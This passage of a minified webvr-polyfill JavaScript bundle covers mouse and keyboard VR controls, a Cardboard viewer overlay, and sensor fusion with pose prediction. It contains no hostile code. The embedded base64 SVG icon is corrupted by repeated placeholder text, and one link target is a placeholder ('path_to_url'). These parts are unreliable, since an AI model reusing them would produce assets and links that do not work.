i(){this.displayName="Mouse and Keyboard VRDisplay (webvr-polyfill)",this.capabilities.hasOrientation=!0,window.addEventListener("keydown",this.onKeyDown_.bind(this)),window.addEventListener("mousemove",this.onMouseMove_.bind(this)),window.addEventListener("mousedown",this.onMouseDown_.bind(this)),window.addEventListener("mouseup",this.onMouseUp_.bind(this)),this.phi_=0,this.theta_=0,this.targetAngle_=null,this.angleAnimation_=null,this.orientation_=new n.Quaternion,this.rotateStart_=new n.Vector2,this.rotateEnd_=new n.Vector2,this.rotateDelta_=new n.Vector2,this.isDragging_=!1,this.orientationOut_=new Float32Array(4)}var r=e("./base.js").VRDisplay,n=e("./math-util.js"),o=e("./util.js"),a=.15,s=80,c=.5,u=.3;i.prototype=new r,i.prototype.getImmediatePose=function(){return this.orientation_.setFromEulerYXZ(this.phi_,this.theta_,0),this.orientationOut_[0]=this.orientation_.x,this.orientationOut_[1]=this.orientation_.y,this.orientationOut_[2]=this.orientation_.z,this.orientationOut_[3]=this.orientation_.w,{position:null,orientation:this.orientationOut_,linearVelocity:null,linearAcceleration:null,angularVelocity:null,angularAcceleration:null}},i.prototype.onKeyDown_=function(e){38==e.keyCode?this.animatePhi_(this.phi_+a):39==e.keyCode?this.animateTheta_(this.theta_-a):40==e.keyCode?this.animatePhi_(this.phi_-a):37==e.keyCode&&this.animateTheta_(this.theta_+a)},i.prototype.animateTheta_=function(e){this.animateKeyTransitions_("theta_",e)},i.prototype.animatePhi_=function(e){e=o.clamp(e,-Math.PI/2,Math.PI/2),this.animateKeyTransitions_("phi_",e)},i.prototype.animateKeyTransitions_=function(e,t){this.angleAnimation_&&cancelAnimationFrame(this.angleAnimation_);var i=this[e],r=new Date;this.angleAnimation_=requestAnimationFrame(function n(){var o=new Date-r;if(o>=s)return this[e]=t,void cancelAnimationFrame(this.angleAnimation_);this.angleAnimation_=requestAnimationFrame(n.bind(this));var a=o/s;this[e]=i+(t-i)*a}.bind(this))},i.prototype.onMouseDown_=function(e){this.rotateStart_.set(e.clientX,e.clientY),this.isDragging_=!0},i.prototype.onMouseMove_=function(e){if(this.isDragging_||this.isPointerLocked_()){if(this.isPointerLocked_()){var t=e.movementX||e.mozMovementX||0,i=e.movementY||e.mozMovementY||0;this.rotateEnd_.set(this.rotateStart_.x-t,this.rotateStart_.y-i)}else this.rotateEnd_.set(e.clientX,e.clientY);this.rotateDelta_.subVectors(this.rotateEnd_,this.rotateStart_),this.rotateStart_.copy(this.rotateEnd_),this.phi_+=2*Math.PI*this.rotateDelta_.y/screen.height*u,this.theta_+=2*Math.PI*this.rotateDelta_.x/screen.width*c,this.phi_=o.clamp(this.phi_,-Math.PI/2,Math.PI/2)}},i.prototype.onMouseUp_=function(){this.isDragging_=!1},i.prototype.isPointerLocked_=function(){var e=document.pointerLockElement||document.mozPointerLockElement||document.webkitPointerLockElement;return void 0!==e},i.prototype.resetPose=function(){this.phi_=0,this.theta_=0},t.exports=i},{"./base.js":4,"./math-util.js":16,"./util.js":24}],18:[function(e,t){function i(){this.loadIcon_();var e=document.createElement("div"),t=e.style;t.position="fixed",t.top=0,t.right=0,t.bottom=0,t.left=0,t.backgroundColor="gray",t.fontFamily="sans-serif",t.zIndex=1e6;var i=document.createElement("img");i.src=this.icon;var t=i.style;t.marginLeft="25%",t.marginTop="25%",t.width="50%",e.appendChild(i);var r=document.createElement("div"),t=r.style;t.textAlign="center",t.fontSize="16px",t.lineHeight="24px",t.margin="24px 25%",t.width="50%",r.innerHTML="Place your phone into your Cardboard viewer.",e.appendChild(r);var n=document.createElement("div"),t=n.style;t.backgroundColor="#CFD8DC",t.position="fixed",t.bottom=0,t.width="100%",t.height="48px",t.padding="14px 24px",t.boxSizing="border-box",t.color="#656A6B",e.appendChild(n);var o=document.createElement("div");o.style["float"]="left",o.innerHTML="No Cardboard viewer?";var a=document.createElement("a");a.href="path_to_url",a.innerHTML="get one",a.target="_blank";var t=a.style;t["float"]="right",t.fontWeight=600,t.textTransform="uppercase",t.borderLeft="1px solid gray",t.paddingLeft="24px",t.textDecoration="none",t.color="#656A6B",n.appendChild(o),n.appendChild(a),this.overlay=e,this.text=r,this.hide()}var r=e("./util.js");i.prototype.show=function(e){e||this.overlay.parentElement?e&&(this.overlay.parentElement&&this.overlay.parentElement!=e&&this.overlay.parentElement.removeChild(this.overlay),e.appendChild(this.overlay)):document.body.appendChild(this.overlay),this.overlay.style.display="block";var t=this.overlay.querySelector("img"),i=t.style;r.isLandscapeMode()?(i.width="20%",i.marginLeft="40%",i.marginTop="3%"):(i.width="50%",i.marginLeft="25%",i.marginTop="25%")},i.prototype.hide=function(){this.overlay.style.display="none"},i.prototype.showTemporarily=function(e,t){this.show(t),this.timer=setTimeout(this.hide.bind(this),e)},i.prototype.disableShowTemporarily=function(){clearTimeout(this.timer)},i.prototype.update=function(){this.disableShowTemporarily(),!r.isLandscapeMode()&&r.isMobile()?this.show():this.hide()},i.prototype.loadIcon_=function(){this.icon=r.base64("image/svg+xml",your_sha256_hashIm5vIj8+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashL3NrZXRjaC9ucyI+your_sha256_hashOi8vd3d3LmJvaGVtaWFuY29kaW5nLmNvbS9za2V0Y2ggLS0+CiAgICA8dGl0bGU+dHJhbnNpdGlvbjwvdGl0bGU+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashcm91cCI+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashL3BhdGg+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashIj48L3BhdGg+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashQSI+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashLjk5NyBaIiBpZD0iRmlsbC03IiBmaWxsPSIjNjA3RDhCIj48L3BhdGg+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashOS41ODgsMjIuMzc1IiBpZD0iRmlsbC05IiBmaWxsPSIjRkFGQUZBIj48L3BhdGg+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashZD0iRmlsbC0xMCIgZmlsbD0iIzYwN0Q4QiI+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashMSIgZmlsbD0iI0ZGRkZGRiI+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashPSIjNjA3RDhCIj48L3BhdGg+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashIGlkPSJGaWxsLTEzIiBmaWxsPSIjRkZGRkZGIj48L3BhdGg+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashIiBmaWxsPSIjNjA3RDhCIj48L3BhdGg+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashOTQuNTE1LDYyLjk0OCBaIiBpZD0iRmlsbC0xOCIgZmlsbD0iIzYwN0Q4QiI+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashLjUwNSBaIiBpZD0iRmlsbC0yMSIgZmlsbD0iIzYwN0Q4QiI+your_sha256_hashyour_sha256_hashyour_sha256_hashL3BhdGg+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashLjc2Miw0OS40ODQiIGlkPSJGaWxsLTI2IiBmaWxsPSIjNDU1QTY0Ij48L3BhdGg+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashNDIiIGlkPSJGaWxsLTI3IiBmaWxsPSIjNDU1QTY0Ij48L3BhdGg+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashPSJGaWxsLTI4IiBmaWxsPSIjRkFGQUZBIj48L3BhdGg+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashRmlsbC0zMCIgZmlsbD0iIzYwN0Q4QiI+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashRmlsbC0zMSIgZmlsbD0iI0ZBRkFGQSI+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashIGlkPSJGaWxsLTMyIiBmaWxsPSIjNjA3RDhCIj48L3BhdGg+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashIGlkPSJGaWxsLTMzIiBmaWxsPSIjNjA3RDhCIj48L3BhdGg+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashaWxsPSIjRkFGQUZBIj48L3BhdGg+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashaWxsLTM4IiBmaWxsPSIjNjA3RDhCIj48L3BhdGg+CiAgICAgICAgICAgICAgICA8L2c+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashL3BhdGg+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashZmlsbD0iIzYwN0Q4QiI+your_sha256_hashyour_sha256_hashyour_sha256_hashMy43NjQsNDIuNjU0IiBpZD0iRmlsbC01IiBmaWxsPSIjNjA3RDhCIj48L3BhdGg+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashPSIjNjA3RDhCIj48L3BhdGg+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashZD0iRmlsbC04IiBmaWxsPSIjNjA3RDhCIj48L3BhdGg+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashNy4yNjkgTDYuMTMsOTMuOTAxIiBpZD0iRmlsbC0xMSIgZmlsbD0iI0ZBRkFGQSI+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashRkZGRiI+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashOC42NzQiIGlkPSJGaWxsLTE0IiBmaWxsPSIjODA5N0EyIj48L3BhdGg+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashIGlkPSJGaWxsLTE1IiBmaWxsPSIjODA5N0EyIj48L3BhdGg+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashNDQ0LDg1LjM1IiBpZD0iRmlsbC0xNiIgZmlsbD0iI0ZGRkZGRiI+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashLTE4IiBmaWxsPSIjODA5N0EyIj48L3BhdGg+your_sha256_hashyour_sha256_hashNy43NjkiIGlkPSJGaWxsLTE5IiBmaWxsPSIjNDU1QTY0Ij48L3BhdGg+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashICAgICAgICAgPC9nPgogICAgICAgIDwvZz4KICAgIDwvZz4KPC9zdmc+");
},t.exports=i},{"./util.js":24}],19:[function(e,t){function i(e){this.kFilter=e,this.currentAccelMeasurement=new r,this.currentGyroMeasurement=new r,this.previousGyroMeasurement=new r,this.filterQ=new n.Quaternion,this.previousFilterQ=new n.Quaternion,this.accelQ=new n.Quaternion,this.isOrientationInitialized=!1,this.estimatedGravity=new n.Vector3,this.measuredGravity=new n.Vector3,this.gyroIntegralQ=new n.Quaternion}var r=e("./sensor-sample.js"),n=e("../math-util.js"),o=e("../util.js"),a=!1;i.prototype.addAccelMeasurement=function(e,t){this.currentAccelMeasurement.set(e,t)},i.prototype.addGyroMeasurement=function(e,t){this.currentGyroMeasurement.set(e,t);var i=t-this.previousGyroMeasurement.timestampS;o.isTimestampDeltaValid(i)&&this.run_(),this.previousGyroMeasurement.copy(this.currentGyroMeasurement)},i.prototype.run_=function(){if(!this.isOrientationInitialized)return this.accelQ=this.accelToQuaternion_(this.currentAccelMeasurement.sample),this.previousFilterQ.copy(this.accelQ),void(this.isOrientationInitialized=!0);var e=this.currentGyroMeasurement.timestampS-this.previousGyroMeasurement.timestampS,t=this.gyroToQuaternionDelta_(this.currentGyroMeasurement.sample,e);this.gyroIntegralQ.multiply(t),this.filterQ.copy(this.previousFilterQ),this.filterQ.multiply(t);var i=new n.Quaternion;i.copy(this.filterQ),i.inverse(),this.estimatedGravity.set(0,0,-1),this.estimatedGravity.applyQuaternion(i),this.estimatedGravity.normalize(),this.measuredGravity.copy(this.currentAccelMeasurement.sample),this.measuredGravity.normalize();var r=new n.Quaternion;r.setFromUnitVectors(this.estimatedGravity,this.measuredGravity),r.inverse(),a&&console.log("Delta: %d deg, G_est: (%s, %s, %s), G_meas: (%s, %s, %s)",n.radToDeg*o.getQuaternionAngle(r),this.estimatedGravity.x.toFixed(1),this.estimatedGravity.y.toFixed(1),this.estimatedGravity.z.toFixed(1),this.measuredGravity.x.toFixed(1),this.measuredGravity.y.toFixed(1),this.measuredGravity.z.toFixed(1));var s=new n.Quaternion;s.copy(this.filterQ),s.multiply(r),this.filterQ.slerp(s,1-this.kFilter),this.previousFilterQ.copy(this.filterQ)},i.prototype.getOrientation=function(){return this.filterQ},i.prototype.accelToQuaternion_=function(e){var t=new n.Vector3;t.copy(e),t.normalize();var i=new n.Quaternion;return i.setFromUnitVectors(new n.Vector3(0,0,-1),t),i.inverse(),i},i.prototype.gyroToQuaternionDelta_=function(e,t){var i=new n.Quaternion,r=new n.Vector3;return r.copy(e),r.normalize(),i.setFromAxisAngle(r,e.length()*t),i},t.exports=i},{"../math-util.js":16,"../util.js":24,"./sensor-sample.js":22}],20:[function(e,t){function i(){this.deviceId="webvr-polyfill:fused",this.deviceName="VR Position Device (webvr-polyfill:fused)",this.accelerometer=new a.Vector3,this.gyroscope=new a.Vector3,window.addEventListener("devicemotion",this.onDeviceMotionChange_.bind(this)),window.addEventListener("orientationchange",this.onScreenOrientationChange_.bind(this)),this.filter=new r(WebVRConfig.K_FILTER),this.posePredictor=new n(WebVRConfig.PREDICTION_TIME_S),this.touchPanner=new o,this.filterToWorldQ=new a.Quaternion,s.isIOS()?this.filterToWorldQ.setFromAxisAngle(new a.Vector3(1,0,0),Math.PI/2):this.filterToWorldQ.setFromAxisAngle(new a.Vector3(1,0,0),-Math.PI/2),this.inverseWorldToScreenQ=new a.Quaternion,this.worldToScreenQ=new a.Quaternion,this.originalPoseAdjustQ=new a.Quaternion,this.originalPoseAdjustQ.setFromAxisAngle(new a.Vector3(0,0,1),-window.orientation*Math.PI/180),this.setScreenTransform_(),s.isLandscapeMode()&&this.filterToWorldQ.multiply(this.inverseWorldToScreenQ),this.resetQ=new a.Quaternion,this.isFirefoxAndroid=s.isFirefoxAndroid(),this.isIOS=s.isIOS(),this.orientationOut_=new Float32Array(4)}var r=e("./complementary-filter.js"),n=e("./pose-predictor.js"),o=e("../touch-panner.js"),a=e("../math-util.js"),s=e("../util.js");i.prototype.getPosition=function(){return null},i.prototype.getOrientation=function(){var e=this.filter.getOrientation();this.predictedQ=this.posePredictor.getPrediction(e,this.gyroscope,this.previousTimestampS);var t=new a.Quaternion;return t.copy(this.filterToWorldQ),t.multiply(this.resetQ),WebVRConfig.TOUCH_PANNER_DISABLED||t.multiply(this.touchPanner.getOrientation()),t.multiply(this.predictedQ),t.multiply(this.worldToScreenQ),WebVRConfig.YAW_ONLY&&(t.x=0,t.z=0,t.normalize()),this.orientationOut_[0]=t.x,this.orientationOut_[1]=t.y,this.orientationOut_[2]=t.z,this.orientationOut_[3]=t.w,this.orientationOut_},i.prototype.resetPose=function(){this.resetQ.copy(this.filter.getOrientation()),this.resetQ.x=0,this.resetQ.y=0,this.resetQ.z*=-1,this.resetQ.normalize(),s.isLandscapeMode()&&this.resetQ.multiply(this.inverseWorldToScreenQ),this.resetQ.multiply(this.originalPoseAdjustQ),WebVRConfig.TOUCH_PANNER_DISABLED||this.touchPanner.resetSensor()},i.prototype.onDeviceMotionChange_=function(e){var t=e.accelerationIncludingGravity,i=e.rotationRate,r=e.timeStamp/1e3;this.isFirefoxAndroid&&(r/=1e3);var n=r-this.previousTimestampS;return n<=s.MIN_TIMESTEP||n>s.MAX_TIMESTEP?(console.warn("Invalid timestamps detected. Time step between successive gyroscope sensor samples is very small or not monotonic"),void(this.previousTimestampS=r)):(this.accelerometer.set(-t.x,-t.y,-t.z),this.gyroscope.set(i.alpha,i.beta,i.gamma),(this.isIOS||this.isFirefoxAndroid)&&this.gyroscope.multiplyScalar(Math.PI/180),this.filter.addAccelMeasurement(this.accelerometer,r),this.filter.addGyroMeasurement(this.gyroscope,r),void(this.previousTimestampS=r))},i.prototype.onScreenOrientationChange_=function(){this.setScreenTransform_()},i.prototype.setScreenTransform_=function(){switch(this.worldToScreenQ.set(0,0,0,1),window.orientation){case 0:break;case 90:this.worldToScreenQ.setFromAxisAngle(new a.Vector3(0,0,1),-Math.PI/2);break;case-90:this.worldToScreenQ.setFromAxisAngle(new a.Vector3(0,0,1),Math.PI/2);break;case 180:}this.inverseWorldToScreenQ.copy(this.worldToScreenQ),this.inverseWorldToScreenQ.inverse()},t.exports=i},{"../math-util.js":16,"../touch-panner.js":23,"../util.js":24,"./complementary-filter.js":19,"./pose-predictor.js":21}],21:[function(e,t){function i(e){this.predictionTimeS=e,this.previousQ=new r.Quaternion,this.previousTimestampS=null,this.deltaQ=new r.Quaternion,this.outQ=new r.Quaternion}var r=e("../math-util.js"),n=!1;i.prototype.getPrediction=function(e,t,i){if(!this.previousTimestampS)return this.previousQ.copy(e),this.previousTimestampS=i,e;var o=new r.Vector3;o.copy(t),o.normalize();var a=t.length();if(a<20*r.degToRad)return n&&console.log("Moving slowly, at %s deg/s: no prediction",(r.radToDeg*a).toFixed(1)),this.outQ.copy(e),this.previousQ.copy(e),this.outQ;var s=(i-this.previousTimestampS,a*this.predictionTimeS);return this.deltaQ.setFromAxisAngle(o,s),this.outQ.copy(this.previousQ),this.outQ.multiply(this.deltaQ),this.previousQ.copy(e),this.outQ},t.exports=i},{"../math-util.js":16}],22:[function(e,t){function i(e,t){this.set(e,t)}i.prototype.set=function(e,t){this.sample=e,this.timestampS=t},i.prototype.copy=function(e){this.set(e.sample,e.timestampS)},t.exports=i},{}],23:[function(e,t){function i(){window.addEventListener("touchstart",this.onTouchStart_.bind(this)),window.addEventListener("touchmove",this.onTouchMove_.bind(this)),window.addEventListener("touchend",this.onTouchEnd_.bind(this)),this.isTouching=!1,this.rotateStart=new r.Vector2,this.rotateEnd=new r.Vector2,this.rotateDelta=new r.Vector2,this.theta=0,this.orientation=new r.Quaternion}var 